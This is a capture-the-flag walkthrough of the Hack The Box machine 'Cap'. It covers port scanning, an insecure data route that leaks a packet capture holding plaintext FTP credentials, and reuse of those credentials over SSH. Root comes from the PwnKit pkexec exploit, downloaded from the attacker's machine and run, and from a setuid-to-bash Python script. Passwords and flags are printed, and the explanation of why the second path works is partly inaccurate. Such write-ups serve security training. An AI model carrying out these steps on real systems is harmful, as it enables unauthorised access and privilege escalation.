Enumeration
Let’s do a port scan using Nmap to identify open ports, services and versions on the target machine. First find what’s open, then digs deeper into those specific services to find their versions and other details.
# '-p-' to scan all ports
# '-sS' for a stealth SYN scan
# '-Pn' to skip host discovery
┌──(kali㉿kali)-[~/htb/cap]
└─$ nmap -p- -sS -Pn --min-rate=1000 10.129.142.146 -oN ports.nmap
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
80/tcp open http
# This time scan the open ports only.
# '-sCV' to enable version detection and script scanning
┌──(kali㉿kali)-[~/htb/cap]
└─$ nmap -p21,22,80 -sCV --min-rate=1000 10.129.142.146 -oN scan.nmap
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 fa:80:a9:b2:ca:3b:88:69:a4:28:9e:39:0d:27:d5:75 (RSA)
| 256 96:d8:f8:e3:e8:f7:71:36:c5:49:d5:9d:b6:a4:c9:0c (ECDSA)
|_ 256 3f:d0:ff:91:eb:3b:f6:e1:9f:2e:8d:de:b3:de:b2:18 (ED25519)
80/tcp open http Gunicorn
|_http-server-header: gunicorn
|_http-title: Security Dashboard
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Exploitation
Looking around we found the param of the “data/:id” route can be manipulated to get other users’ snapshots. When downloading the “data/0” PCAP file there are some plain text credential if we follow the FTP traffic in Wireshark.
Let’s try to log in to the FTP service using the captured credentials.
┌──(kali㉿kali)-[~/htb/cap]
└─$ ftp nathan@10.129.142.146
Password: Buck3tH4TF0RM3!
230 Login successful.
ftp> pwd
Remote directory: /home/nathan
ftp> ls
-r-------- 1 1001 1001 33 Aug 04 18:25 user.txt
ftp> get user.txt
226 Transfer complete.
ftp> exit
221 Goodbye.
┌──(kali㉿kali)-[~/htb/cap]
└─$ ls
scan.nmap user.txt
┌──(kali㉿kali)-[~/htb/cap]
└─$ cat user.txt
4474a673ce36e55756dbd32c79148c46
What happen if we try to log in with the same credentials on the SSH service?
┌──(kali㉿kali)-[~/htb/cap]
└─$ ssh nathan@10.129.142.146
The authenticity of host '10.129.142.146 (10.129.142.146)' can't be established.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
nathan@10.129.142.146's password: Buck3tH4TF0RM3!
Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-80-generic x86_64)
nathan@cap:~$ id
uid=1001(nathan) gid=1001(nathan) groups=1001(nathan)
Privilege Escalation
First, let scan the system with LinPEAS to find potential privilege escalation vectors.
# Download the LinPEAS script to our local machine.
┌──(kali㉿kali)-[~/htb/cap/exploits]
└─$ wget https://github.com/peass-ng/PEASS-ng/releases/download/20250801-03e73bf3/linpeas.sh
┌──(kali㉿kali)-[~/htb/cap/exploits]
└─$ ls -l
-rw-rw-r-- 1 kali kali 956174 Aug 1 00:07 linpeas.sh
# Creating an http server to share the 'linpeas.sh' file
┌──(kali㉿kali)-[~/htb/cap/exploits]
└─$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/)
# Download the LinPEAS file from our local HTTP server to the target machine
nathan@cap:~$ curl -O http://10.10.14.25/linpeas.sh
nathan@cap:~$ chmod +x linpeas.sh
nathan@cap:~$ ls -l
-rw-rw-r-- 1 nathan nathan 956174 Aug 4 19:05 linpeas.sh
# Execute the LinPEAS script
nathan@cap:~$ ./linpeas.sh
[+] [CVE-2021-4034] PwnKit
Details: https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt
Download URL: https://codeload.github.com/berdav/CVE-2021-4034/zip/main
Polkit Binary
Pkexec binary found at: /usr/bin/pkexec
Pkexec binary has SUID bit set!
-rwsr-xr-x 1 root root 31032 Aug 16 2019 /usr/bin/pkexec
pkexec version 0.105
We have found a potential privilege escalation vector with the PwnKit exploit (CVE-2021-4034). This vulnerability allows an unprivileged user to gain root privileges by exploiting the pkexec binary.
# Download the PwnKit exploit from GitHub in the attacker machine
┌──(kali㉿kali)-[~/htb/cap/exploits]
└─$ git clone https://github.com/ly4k/PwnKit
┌──(kali㉿kali)-[~/htb/cap/exploits]
└─$ cd PwnKit
┌──(kali㉿kali)-[~/htb/cap/exploits/PwnKit]
└─$ ls -l
-rwxrwxr-x 1 kali kali 18040 Aug 4 14:18 PwnKit
# Now, we can serve the PwnKit binary from our local HTTP server
nathan@cap:~$ curl -O http://10.10.14.25/PwnKit/PwnKit
nathan@cap:~$ chmod +x PwnKit
nathan@cap:~$ ls -l
-rwxrwxr-x 1 nathan nathan 18040 Aug 4 19:24 PwnKit
-rwxrwxr-x 1 nathan nathan 956174 Aug 4 19:05 linpeas.sh
drwxr-xr-x 3 nathan nathan 4096 Aug 4 19:06 snap
-r-------- 1 nathan nathan 33 Aug 4 18:25 user.txt
# Run the PwnKit binary to escalate our privileges to root.
nathan@cap:~$ ./PwnKit
root@cap:/home/nathan# whoami
root
root@cap:/home/nathan# cd /root
root@cap:~# ls -l
-r-------- 1 root root 33 Aug 4 18:25 root.txt
drwxr-xr-x 3 root root 4096 May 23 2021 snap
root@cap:~# cat root.txt
c7c8f86598aea693cb329aaf41087c36
Alternative Privilege Escalation
We can also exploit the app.py file in the /var/www/html/ directory. The script uses the os.setuid(0) command to run tcpdump with root privileges, which can be exploited to gain root access. Let’s review the source code.
The code uses a “hacky” solution to run tcpdump as the root user os.setuid(0), which is necessary for tcpdump to function, before returning to its original permissions os.setuid(1000).
nathan@cap:~$ cd /var/www/html/
nathan@cap:/var/www/html$ ls -l
drwxr-xr-x 2 nathan nathan 4096 May 27 2021 __pycache__
-rw-r--r-- 1 nathan nathan 4293 May 25 2021 app.py
drwxr-xr-x 6 root root 4096 May 23 2021 static
drwxr-xr-x 2 root root 4096 May 23 2021 templates
drwxr-xr-x 2 root root 4096 Aug 4 18:48 upload
nathan@cap:/var/www/html$ nano app.py
#!/usr/bin/python3
import os
from flask import *
from flask_limiter import Limiter
from flask_limiter.util import get_remote_address
...
...
...
@app.route("/capture")
@limiter.limit("10 per minute")
def capture():
get_lock()
pcapid = get_appid()
increment_appid()
release_lock()
path = os.path.join(app.root_path, "upload", str(pcapid) + ".pcap")
ip = request.remote_addr
# permissions issues with gunicorn and threads. hacky solution for now.
#os.setuid(0)
#command = f"timeout 5 tcpdump -w {path} -i any host {ip}"
command = f"""python3 -c 'import os; os.setuid(0); os.system("timeout 5 tcpdump -w {path} -i any host {ip}")'"""
os.system(command)
#os.setuid(1000)
return redirect("/data/" + str(pcapid))
We can create a malicious file named exploit.py that will execute a shell with root privileges when accessed (You can do it using the python interpreter too).
nathan@cap:/var/www/html$ nano exploit.py
#!/usr/bin/python3
import os
os.setuid(0)
os.system("/bin/bash")
Once created we can execute it to get the root shell
nathan@cap:/var/www/html$ ls -l
drwxr-xr-x 2 nathan nathan 4096 May 27 2021 __pycache__
-rw-r--r-- 1 nathan nathan 4293 May 25 2021 app.py
-rw-rw-r-- 1 nathan nathan 65 Aug 4 19:41 exploit.py
drwxr-xr-x 6 root root 4096 May 23 2021 static
drwxr-xr-x 2 root root 4096 May 23 2021 templates
drwxr-xr-x 2 root root 4096 Aug 4 18:48 upload
nathan@cap:/var/www/html$ python3 exploit.py
root@cap:/var/www/html# id
uid=0(root) gid=1001(nathan) groups=1001(nathan)
root@cap:~# cd /root
root@cap:/root# ls -l
-r-------- 1 root root 33 Aug 4 18:25 root.txt
drwxr-xr-x 3 root root 4096 May 23 2021 snap
root@cap:/root# cat root.txt
c7c8f86598aea693cb329aaf41087c36